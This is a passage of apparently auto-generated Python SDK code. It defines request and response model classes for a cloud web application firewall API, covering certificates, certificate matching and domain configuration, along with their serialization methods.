self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DeleteProtectionModuleRuleResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeCertificatesRequest(TeaModel):\n def __init__(self, instance_id=None, domain=None):\n self.instance_id = instance_id # type: str\n self.domain = domain # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeCertificatesRequest, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.domain is not None:\n result['Domain'] = self.domain\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n return self\n\n\nclass DescribeCertificatesResponseBodyCertificates(TeaModel):\n def __init__(self, certificate_name=None, common_name=None, sans=None, is_using=None, certificate_id=None):\n self.certificate_name = certificate_name # type: str\n self.common_name = common_name # type: str\n self.sans = sans # type: list[str]\n self.is_using = is_using # type: bool\n self.certificate_id = certificate_id # type: long\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeCertificatesResponseBodyCertificates, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.certificate_name is not None:\n result['CertificateName'] = self.certificate_name\n if self.common_name is not None:\n result['CommonName'] = self.common_name\n if self.sans is not None:\n result['Sans'] = self.sans\n if self.is_using is not None:\n result['IsUsing'] = self.is_using\n if self.certificate_id is not None:\n result['CertificateId'] = self.certificate_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('CertificateName') is not None:\n self.certificate_name = m.get('CertificateName')\n if m.get('CommonName') is not None:\n self.common_name = m.get('CommonName')\n if m.get('Sans') is not None:\n self.sans = m.get('Sans')\n if m.get('IsUsing') is not None:\n self.is_using = m.get('IsUsing')\n if m.get('CertificateId') is not None:\n self.certificate_id = m.get('CertificateId')\n return self\n\n\nclass DescribeCertificatesResponseBody(TeaModel):\n def __init__(self, request_id=None, certificates=None):\n self.request_id = request_id # type: str\n self.certificates = certificates # type: list[DescribeCertificatesResponseBodyCertificates]\n\n def validate(self):\n if self.certificates:\n for k in self.certificates:\n if k:\n k.validate()\n\n def to_map(self):\n _map = super(DescribeCertificatesResponseBody, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n result['Certificates'] = []\n if self.certificates is not None:\n for k in self.certificates:\n result['Certificates'].append(k.to_map() if k else None)\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n self.certificates = []\n if m.get('Certificates') is not None:\n for k in m.get('Certificates'):\n temp_model = DescribeCertificatesResponseBodyCertificates()\n self.certificates.append(temp_model.from_map(k))\n return self\n\n\nclass DescribeCertificatesResponse(TeaModel):\n def __init__(self, headers=None, body=None):\n self.headers = headers # type: dict[str, str]\n self.body = body # type: DescribeCertificatesResponseBody\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeCertificatesResponse, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeCertificatesResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeCertMatchStatusRequest(TeaModel):\n def __init__(self, domain=None, certificate=None, private_key=None, instance_id=None):\n self.domain = domain # type: str\n self.certificate = certificate # type: str\n self.private_key = private_key # type: str\n self.instance_id = instance_id # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeCertMatchStatusRequest, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.certificate is not None:\n result['Certificate'] = self.certificate\n if self.private_key is not None:\n result['PrivateKey'] = self.private_key\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('Certificate') is not None:\n self.certificate = m.get('Certificate')\n if m.get('PrivateKey') is not None:\n self.private_key = m.get('PrivateKey')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n return self\n\n\nclass DescribeCertMatchStatusResponseBody(TeaModel):\n def __init__(self, request_id=None, match_status=None):\n self.request_id = request_id # type: str\n self.match_status = match_status # type: bool\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeCertMatchStatusResponseBody, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.match_status is not None:\n result['MatchStatus'] = self.match_status\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('MatchStatus') is not None:\n self.match_status = m.get('MatchStatus')\n return self\n\n\nclass DescribeCertMatchStatusResponse(TeaModel):\n def __init__(self, headers=None, body=None):\n self.headers = headers # type: dict[str, str]\n self.body = body # type: DescribeCertMatchStatusResponseBody\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeCertMatchStatusResponse, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeCertMatchStatusResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeDomainRequest(TeaModel):\n def __init__(self, instance_id=None, domain=None):\n self.instance_id = instance_id # type: str\n self.domain = domain # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainRequest, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.domain is not None:\n result['Domain'] = self.domain\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n return self\n\n\nclass DescribeDomainResponseBodyDomainCloudNativeInstancesProtocolPortConfigs(TeaModel):\n def __init__(self, protocol=None, ports=None):\n self.protocol = protocol # type: str\n self.ports = ports # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainResponseBodyDomainCloudNativeInstancesProtocolPortConfigs, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.protocol is not None:\n result['Protocol'] = self.protocol\n if self.ports is not None:\n result['Ports'] = self.ports\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Protocol') is not None:\n self.protocol = m.get('Protocol')\n if m.get('Ports') is not None:\n self.ports = m.get('Ports')\n return self\n\n\nclass DescribeDomainResponseBodyDomainCloudNativeInstances(TeaModel):\n def __init__(self, protocol_port_configs=None, redirection_type_name=None, cloud_native_product_name=None,\n instance_id=None, ipaddress_list=None):\n self.protocol_port_configs = protocol_port_configs # type: list[DescribeDomainResponseBodyDomainCloudNativeInstancesProtocolPortConfigs]\n self.redirection_type_name = redirection_type_name # type: str\n self.cloud_native_product_name = cloud_native_product_name # type: str\n self.instance_id = instance_id # type: str\n self.ipaddress_list = ipaddress_list # type: str\n\n def validate(self):\n if self.protocol_port_configs:\n for k in self.protocol_port_configs:\n if k:\n k.validate()\n\n def to_map(self):\n _map = super(DescribeDomainResponseBodyDomainCloudNativeInstances, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n result['ProtocolPortConfigs'] = []\n if self.protocol_port_configs is not None:\n for k in self.protocol_port_configs:\n result['ProtocolPortConfigs'].append(k.to_map() if k else None)\n if self.redirection_type_name is not None:\n result['RedirectionTypeName'] = self.redirection_type_name\n if self.cloud_native_product_name is not None:\n result['CloudNativeProductName'] = self.cloud_native_product_name\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.ipaddress_list is not None:\n result['IPAddressList'] = self.ipaddress_list\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n self.protocol_port_configs = []\n if m.get('ProtocolPortConfigs') is not None:\n for k in m.get('ProtocolPortConfigs'):\n temp_model = DescribeDomainResponseBodyDomainCloudNativeInstancesProtocolPortConfigs()\n self.protocol_port_configs.append(temp_model.from_map(k))\n if m.get('RedirectionTypeName') is not None:\n self.redirection_type_name = m.get('RedirectionTypeName')\n if m.get('CloudNativeProductName') is not None:\n self.cloud_native_product_name = m.get('CloudNativeProductName')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('IPAddressList') is not None:\n self.ipaddress_list = m.get('IPAddressList')\n return self\n\n\nclass DescribeDomainResponseBodyDomainLogHeaders(TeaModel):\n def __init__(self, k=None, v=None):\n self.k = k # type: str\n self.v = v # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainResponseBodyDomainLogHeaders, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.k is not None:\n result['k'] = self.k\n if self.v is not None:\n result['v'] = self.v\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('k') is not None:\n self.k = m.get('k')\n if m.get('v') is not None:\n self.v = m.get('v')\n return self\n\n\nclass DescribeDomainResponseBodyDomain(TeaModel):\n def __init__(self, http_2port=None, cloud_native_instances=None, http_to_user_ip=None, http_port=None,\n log_headers=None, is_access_product=None, access_headers=None, access_header_mode=None, https_redirect=None,\n load_balancing=None, ip_follow_status=None, access_type=None, version=None, cluster_type=None, read_time=None,\n write_time=None, resource_group_id=None, cname=None, source_ips=None, connection_time=None, https_port=None):\n self.http_2port = http_2port # type: list[str]\n self.cloud_native_instances = cloud_native_instances # type: list[DescribeDomainResponseBodyDomainCloudNativeInstances]\n self.http_to_user_ip = http_to_user_ip # type: int\n self.http_port = http_port # type: list[str]\n self.log_headers = log_headers # type: list[DescribeDomainResponseBodyDomainLogHeaders]\n self.is_access_product = is_access_product # type: int\n self.access_headers = access_headers # type: list[str]\n self.access_header_mode = access_header_mode # type: int\n self.https_redirect = https_redirect # type: int\n self.load_balancing = load_balancing # type: int\n self.ip_follow_status = ip_follow_status # type: int\n self.access_type = access_type # type: str\n self.version = version # type: long\n self.cluster_type = cluster_type # type: int\n self.read_time = read_time # type: int\n self.write_time = write_time # type: int\n self.resource_group_id = resource_group_id # type: str\n self.cname = cname # type: str\n self.source_ips = source_ips # type: list[str]\n self.connection_time = connection_time # type: int\n self.https_port = https_port # type: list[str]\n\n def validate(self):\n if self.cloud_native_instances:\n for k in self.cloud_native_instances:\n if k:\n k.validate()\n if self.log_headers:\n for k in self.log_headers:\n if k:\n k.validate()\n\n def to_map(self):\n _map = super(DescribeDomainResponseBodyDomain, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.http_2port is not None:\n result['Http2Port'] = self.http_2port\n result['CloudNativeInstances'] = []\n if self.cloud_native_instances is not None:\n for k in self.cloud_native_instances:\n result['CloudNativeInstances'].append(k.to_map() if k else None)\n if self.http_to_user_ip is not None:\n result['HttpToUserIp'] = self.http_to_user_ip\n if self.http_port is not None:\n result['HttpPort'] = self.http_port\n result['LogHeaders'] = []\n if self.log_headers is not None:\n for k in self.log_headers:\n result['LogHeaders'].append(k.to_map() if k else None)\n if self.is_access_product is not None:\n result['IsAccessProduct'] = self.is_access_product\n if self.access_headers is not None:\n result['AccessHeaders'] = self.access_headers\n if self.access_header_mode is not None:\n result['AccessHeaderMode'] = self.access_header_mode\n if self.https_redirect is not None:\n result['HttpsRedirect'] = self.https_redirect\n if self.load_balancing is not None:\n result['LoadBalancing'] = self.load_balancing\n if self.ip_follow_status is not None:\n result['IpFollowStatus'] = self.ip_follow_status\n if self.access_type is not None:\n result['AccessType'] = self.access_type\n if self.version is not None:\n result['Version'] = self.version\n if self.cluster_type is not None:\n result['ClusterType'] = self.cluster_type\n if self.read_time is not None:\n result['ReadTime'] = self.read_time\n if self.write_time is not None:\n result['WriteTime'] = self.write_time\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n if self.cname is not None:\n result['Cname'] = self.cname\n if self.source_ips is not None:\n result['SourceIps'] = self.source_ips\n if self.connection_time is not None:\n result['ConnectionTime'] = self.connection_time\n if self.https_port is not None:\n result['HttpsPort'] = self.https_port\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Http2Port') is not None:\n self.http_2port = m.get('Http2Port')\n self.cloud_native_instances = []\n if m.get('CloudNativeInstances') is not None:\n for k in m.get('CloudNativeInstances'):\n temp_model = DescribeDomainResponseBodyDomainCloudNativeInstances()\n self.cloud_native_instances.append(temp_model.from_map(k))\n if m.get('HttpToUserIp') is not None:\n self.http_to_user_ip = m.get('HttpToUserIp')\n if m.get('HttpPort') is not None:\n self.http_port = m.get('HttpPort')\n self.log_headers = []\n if m.get('LogHeaders') is not None:\n for k in m.get('LogHeaders'):\n temp_model = DescribeDomainResponseBodyDomainLogHeaders()\n self.log_headers.append(temp_model.from_map(k))\n if m.get('IsAccessProduct') is not None:\n self.is_access_product = m.get('IsAccessProduct')\n if m.get('AccessHeaders') is not None:\n self.access_headers = m.get('AccessHeaders')\n if m.get('AccessHeaderMode') is not None:\n self.access_header_mode = m.get('AccessHeaderMode')\n if m.get('HttpsRedirect') is not None:\n self.https_redirect = m.get('HttpsRedirect')\n if m.get('LoadBalancing') is not None:\n self.load_balancing = m.get('LoadBalancing')\n if m.get('IpFollowStatus') is not None:\n self.ip_follow_status = m.get('IpFollowStatus')\n if m.get('AccessType') is not None:\n self.access_type = m.get('AccessType')\n if m.get('Version') is not None:\n self.version = m.get('Version')\n if m.get('ClusterType') is not None:\n self.cluster_type = m.get('ClusterType')\n if m.get('ReadTime') is not None:\n self.read_time = m.get('ReadTime')\n if m.get('WriteTime') is not None:\n self.write_time = m.get('WriteTime')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n if m.get('Cname') is not None:\n self.cname = m.get('Cname')\n if m.get('SourceIps') is not None:\n self.source_ips = m.get('SourceIps')\n if m.get('ConnectionTime') is not None:\n self.connection_time = m.get('ConnectionTime')\n if m.get('HttpsPort') is not None:\n self.https_port = m.get('HttpsPort')\n return self\n\n\nclass DescribeDomainResponseBody(TeaModel):\n def __init__(self, request_id=None, domain=None):\n self.request_id = request_id # type: str\n self.domain = domain # type: DescribeDomainResponseBodyDomain\n\n def validate(self):\n if self.domain:\n self.domain.validate()\n\n def to_map(self):\n _map = super(DescribeDomainResponseBody, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n if self.domain is not None:\n result['Domain'] = self.domain.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n if m.get('Domain') is not None:\n temp_model = DescribeDomainResponseBodyDomain()\n self.domain = temp_model.from_map(m['Domain'])\n return self\n\n\nclass DescribeDomainResponse(TeaModel):\n def __init__(self, headers=None, body=None):\n self.headers = headers # type: dict[str, str]\n self.body = body # type: DescribeDomainResponseBody\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeDomainResponse, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeDomainResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeDomainAdvanceConfigsRequest(TeaModel):\n def __init__(self, instance_id=None, domain_list=None, resource_group_id=None):\n self.instance_id = instance_id # type: str\n self.domain_list = domain_list # type: str\n self.resource_group_id = resource_group_id # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainAdvanceConfigsRequest, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.domain_list is not None:\n result['DomainList'] = self.domain_list\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('DomainList') is not None:\n self.domain_list = m.get('DomainList')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeDomainAdvanceConfigsResponseBodyDomainConfigsProfile(TeaModel):\n def __init__(self, http_2port=None, ipv_6status=None, http_port=None, gslbstatus=None, rs=None,\n vip_service_status=None, cluster_type=None, exclusive_vip_status=None, cname=None, cert_status=None, https_port=None,\n resolved_type=None):\n self.http_2port = http_2port # type: str\n self.ipv_6status = ipv_6status # type: int\n self.http_port = http_port # type: str\n self.gslbstatus = gslbstatus # type: str\n self.rs = rs # type: str\n self.vip_service_status = vip_service_status # type: int\n self.cluster_type = cluster_type # type: int\n self.exclusive_vip_status = exclusive_vip_status # type: int\n self.cname = cname # type: str\n self.cert_status = cert_status # type: int\n self.https_port = https_port # type: str\n self.resolved_type = resolved_type # type: int\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainAdvanceConfigsResponseBodyDomainConfigsProfile, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.http_2port is not None:\n result['Http2Port'] = self.http_2port\n if self.ipv_6status is not None:\n result['Ipv6Status'] = self.ipv_6status\n if self.http_port is not None:\n result['HttpPort'] = self.http_port\n if self.gslbstatus is not None:\n result['GSLBStatus'] = self.gslbstatus\n if self.rs is not None:\n result['Rs'] = self.rs\n if self.vip_service_status is not None:\n result['VipServiceStatus'] = self.vip_service_status\n if self.cluster_type is not None:\n result['ClusterType'] = self.cluster_type\n if self.exclusive_vip_status is not None:\n result['ExclusiveVipStatus'] = self.exclusive_vip_status\n if self.cname is not None:\n result['Cname'] = self.cname\n if self.cert_status is not None:\n result['CertStatus'] = self.cert_status\n if self.https_port is not None:\n result['HttpsPort'] = self.https_port\n if self.resolved_type is not None:\n result['ResolvedType'] = self.resolved_type\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Http2Port') is not None:\n self.http_2port = m.get('Http2Port')\n if m.get('Ipv6Status') is not None:\n self.ipv_6status = m.get('Ipv6Status')\n if m.get('HttpPort') is not None:\n self.http_port = m.get('HttpPort')\n if m.get('GSLBStatus') is not None:\n self.gslbstatus = m.get('GSLBStatus')\n if m.get('Rs') is not None:\n self.rs = m.get('Rs')\n if m.get('VipServiceStatus') is not None:\n self.vip_service_status = m.get('VipServiceStatus')\n if m.get('ClusterType') is not None:\n self.cluster_type = m.get('ClusterType')\n if m.get('ExclusiveVipStatus') is not None:\n self.exclusive_vip_status = m.get('ExclusiveVipStatus')\n if m.get('Cname') is not None:\n self.cname = m.get('Cname')\n if m.get('CertStatus') is not None:\n self.cert_status = m.get('CertStatus')\n if m.get('HttpsPort') is not None:\n self.https_port = m.get('HttpsPort')\n if m.get('ResolvedType') is not None:\n self.resolved_type = m.get('ResolvedType')\n return self\n\n\nclass DescribeDomainAdvanceConfigsResponseBodyDomainConfigs(TeaModel):\n def __init__(self, profile=None, domain=None):\n self.profile = profile # type: DescribeDomainAdvanceConfigsResponseBodyDomainConfigsProfile\n self.domain = domain # type: str\n\n def validate(self):\n if self.profile:\n self.profile.validate()\n\n def to_map(self):\n _map = super(DescribeDomainAdvanceConfigsResponseBodyDomainConfigs, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.profile is not None:\n result['Profile'] = self.profile.to_map()\n if self.domain is not None:\n result['Domain'] = self.domain\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Profile') is not None:\n temp_model = DescribeDomainAdvanceConfigsResponseBodyDomainConfigsProfile()\n self.profile = temp_model.from_map(m['Profile'])\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n return self\n\n\nclass DescribeDomainAdvanceConfigsResponseBody(TeaModel):\n def __init__(self, request_id=None, domain_configs=None):\n self.request_id = request_id # type: str\n self.domain_configs = domain_configs # type: list[DescribeDomainAdvanceConfigsResponseBodyDomainConfigs]\n\n def validate(self):\n if self.domain_configs:\n for k in self.domain_configs:\n if k:\n k.validate()\n\n def to_map(self):\n _map = super(DescribeDomainAdvanceConfigsResponseBody, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n result['DomainConfigs'] = []\n if self.domain_configs is not None:\n for k in self.domain_configs:\n result['DomainConfigs'].append(k.to_map() if k else None)\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n self.domain_configs = []\n if m.get('DomainConfigs') is not None:\n for k in m.get('DomainConfigs'):\n temp_model = DescribeDomainAdvanceConfigsResponseBodyDomainConfigs()\n self.domain_configs.append(temp_model.from_map(k))\n return self\n\n\nclass DescribeDomainAdvanceConfigsResponse(TeaModel):\n def __init__(self, headers=None, body=None):\n self.headers = headers # type: dict[str, str]\n self.body = body # type: DescribeDomainAdvanceConfigsResponseBody\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeDomainAdvanceConfigsResponse, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeDomainAdvanceConfigsResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeDomainBasicConfigsRequest(TeaModel):\n def __init__(self, instance_id=None, domain_key=None, access_type=None, cloud_native_product_id=None,\n page_number=None, page_size=None, resource_group_id=None):\n self.instance_id = instance_id # type: str\n self.domain_key = domain_key # type: str\n self.access_type = access_type # type: str\n self.cloud_native_product_id = cloud_native_product_id # type: int\n self.page_number = page_number # type: int\n self.page_size = page_size # type: int\n self.resource_group_id = resource_group_id # type: str\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainBasicConfigsRequest, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.domain_key is not None:\n result['DomainKey'] = self.domain_key\n if self.access_type is not None:\n result['AccessType'] = self.access_type\n if self.cloud_native_product_id is not None:\n result['CloudNativeProductId'] = self.cloud_native_product_id\n if self.page_number is not None:\n result['PageNumber'] = self.page_number\n if self.page_size is not None:\n result['PageSize'] = self.page_size\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('DomainKey') is not None:\n self.domain_key = m.get('DomainKey')\n if m.get('AccessType') is not None:\n self.access_type = m.get('AccessType')\n if m.get('CloudNativeProductId') is not None:\n self.cloud_native_product_id = m.get('CloudNativeProductId')\n if m.get('PageNumber') is not None:\n self.page_number = m.get('PageNumber')\n if m.get('PageSize') is not None:\n self.page_size = m.get('PageSize')\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n return self\n\n\nclass DescribeDomainBasicConfigsResponseBodyDomainConfigs(TeaModel):\n def __init__(self, status=None, domain=None, owner=None, cc_mode=None, cc_status=None, access_type=None,\n version=None, acl_status=None, waf_status=None, waf_mode=None):\n self.status = status # type: int\n self.domain = domain # type: str\n self.owner = owner # type: str\n self.cc_mode = cc_mode # type: int\n self.cc_status = cc_status # type: int\n self.access_type = access_type # type: str\n self.version = version # type: long\n self.acl_status = acl_status # type: int\n self.waf_status = waf_status # type: int\n self.waf_mode = waf_mode # type: int\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainBasicConfigsResponseBodyDomainConfigs, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.status is not None:\n result['Status'] = self.status\n if self.domain is not None:\n result['Domain'] = self.domain\n if self.owner is not None:\n result['Owner'] = self.owner\n if self.cc_mode is not None:\n result['CcMode'] = self.cc_mode\n if self.cc_status is not None:\n result['CcStatus'] = self.cc_status\n if self.access_type is not None:\n result['AccessType'] = self.access_type\n if self.version is not None:\n result['Version'] = self.version\n if self.acl_status is not None:\n result['AclStatus'] = self.acl_status\n if self.waf_status is not None:\n result['WafStatus'] = self.waf_status\n if self.waf_mode is not None:\n result['WafMode'] = self.waf_mode\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('Status') is not None:\n self.status = m.get('Status')\n if m.get('Domain') is not None:\n self.domain = m.get('Domain')\n if m.get('Owner') is not None:\n self.owner = m.get('Owner')\n if m.get('CcMode') is not None:\n self.cc_mode = m.get('CcMode')\n if m.get('CcStatus') is not None:\n self.cc_status = m.get('CcStatus')\n if m.get('AccessType') is not None:\n self.access_type = m.get('AccessType')\n if m.get('Version') is not None:\n self.version = m.get('Version')\n if m.get('AclStatus') is not None:\n self.acl_status = m.get('AclStatus')\n if m.get('WafStatus') is not None:\n self.waf_status = m.get('WafStatus')\n if m.get('WafMode') is not None:\n self.waf_mode = m.get('WafMode')\n return self\n\n\nclass DescribeDomainBasicConfigsResponseBody(TeaModel):\n def __init__(self, total_count=None, request_id=None, domain_configs=None):\n self.total_count = total_count # type: int\n self.request_id = request_id # type: str\n self.domain_configs = domain_configs # type: list[DescribeDomainBasicConfigsResponseBodyDomainConfigs]\n\n def validate(self):\n if self.domain_configs:\n for k in self.domain_configs:\n if k:\n k.validate()\n\n def to_map(self):\n _map = super(DescribeDomainBasicConfigsResponseBody, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.total_count is not None:\n result['TotalCount'] = self.total_count\n if self.request_id is not None:\n result['RequestId'] = self.request_id\n result['DomainConfigs'] = []\n if self.domain_configs is not None:\n for k in self.domain_configs:\n result['DomainConfigs'].append(k.to_map() if k else None)\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('TotalCount') is not None:\n self.total_count = m.get('TotalCount')\n if m.get('RequestId') is not None:\n self.request_id = m.get('RequestId')\n self.domain_configs = []\n if m.get('DomainConfigs') is not None:\n for k in m.get('DomainConfigs'):\n temp_model = DescribeDomainBasicConfigsResponseBodyDomainConfigs()\n self.domain_configs.append(temp_model.from_map(k))\n return self\n\n\nclass DescribeDomainBasicConfigsResponse(TeaModel):\n def __init__(self, headers=None, body=None):\n self.headers = headers # type: dict[str, str]\n self.body = body # type: DescribeDomainBasicConfigsResponseBody\n\n def validate(self):\n self.validate_required(self.headers, 'headers')\n self.validate_required(self.body, 'body')\n if self.body:\n self.body.validate()\n\n def to_map(self):\n _map = super(DescribeDomainBasicConfigsResponse, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.headers is not None:\n result['headers'] = self.headers\n if self.body is not None:\n result['body'] = self.body.to_map()\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('headers') is not None:\n self.headers = m.get('headers')\n if m.get('body') is not None:\n temp_model = DescribeDomainBasicConfigsResponseBody()\n self.body = temp_model.from_map(m['body'])\n return self\n\n\nclass DescribeDomainListRequest(TeaModel):\n def __init__(self, resource_group_id=None, instance_id=None, domain_name=None, page_number=None, page_size=None,\n is_sub=None, domain_names=None):\n self.resource_group_id = resource_group_id # type: str\n self.instance_id = instance_id # type: str\n self.domain_name = domain_name # type: str\n self.page_number = page_number # type: int\n self.page_size = page_size # type: int\n self.is_sub = is_sub # type: int\n self.domain_names = domain_names # type: list[str]\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainListRequest, self).to_map()\n if _map is not None:\n return _map\n\n result = dict()\n if self.resource_group_id is not None:\n result['ResourceGroupId'] = self.resource_group_id\n if self.instance_id is not None:\n result['InstanceId'] = self.instance_id\n if self.domain_name is not None:\n result['DomainName'] = self.domain_name\n if self.page_number is not None:\n result['PageNumber'] = self.page_number\n if self.page_size is not None:\n result['PageSize'] = self.page_size\n if self.is_sub is not None:\n result['IsSub'] = self.is_sub\n if self.domain_names is not None:\n result['DomainNames'] = self.domain_names\n return result\n\n def from_map(self, m=None):\n m = m or dict()\n if m.get('ResourceGroupId') is not None:\n self.resource_group_id = m.get('ResourceGroupId')\n if m.get('InstanceId') is not None:\n self.instance_id = m.get('InstanceId')\n if m.get('DomainName') is not None:\n self.domain_name = m.get('DomainName')\n if m.get('PageNumber') is not None:\n self.page_number = m.get('PageNumber')\n if m.get('PageSize') is not None:\n self.page_size = m.get('PageSize')\n if m.get('IsSub') is not None:\n self.is_sub = m.get('IsSub')\n if m.get('DomainNames') is not None:\n self.domain_names = m.get('DomainNames')\n return self\n\n\nclass DescribeDomainListResponseBody(TeaModel):\n def __init__(self, total_count=None, request_id=None, domain_names=None):\n self.total_count = total_count # type: int\n self.request_id = request_id # type: str\n self.domain_names = domain_names # type: list[str]\n\n def validate(self):\n pass\n\n def to_map(self):\n _map = super(DescribeDomainListResponseBody, self).to_map()\n if 